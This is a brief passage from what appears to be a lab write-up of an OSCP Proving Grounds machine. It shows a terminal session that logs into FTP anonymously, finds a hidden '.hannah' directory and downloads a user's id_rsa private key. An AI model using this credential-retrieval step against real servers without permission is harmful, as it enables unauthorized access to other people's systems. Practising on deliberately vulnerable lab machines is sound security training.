21

adot@pwnbox:~/oscp/provinggrounds/easy/onsystemshelldredd$ ftp 192.168.192.130 
Connected to 192.168.192.130.
220 (vsFTPd 3.0.3)
Name (192.168.192.130:adot): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||34914|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||7732|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.
ftp> mget id_rsa
mget id_rsa [anpqy?]? y
229 Entering Extended Passive Mode (|||26099|)
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
100% |*************************************************************************************************************************************************************************************************|  1823        1.05 MiB/s    00:00 ETA
226 Transfer complete.
1823 bytes received in 00:00 (37.56 KiB/s)
ftp> exit
221 Goodbye.

Last updated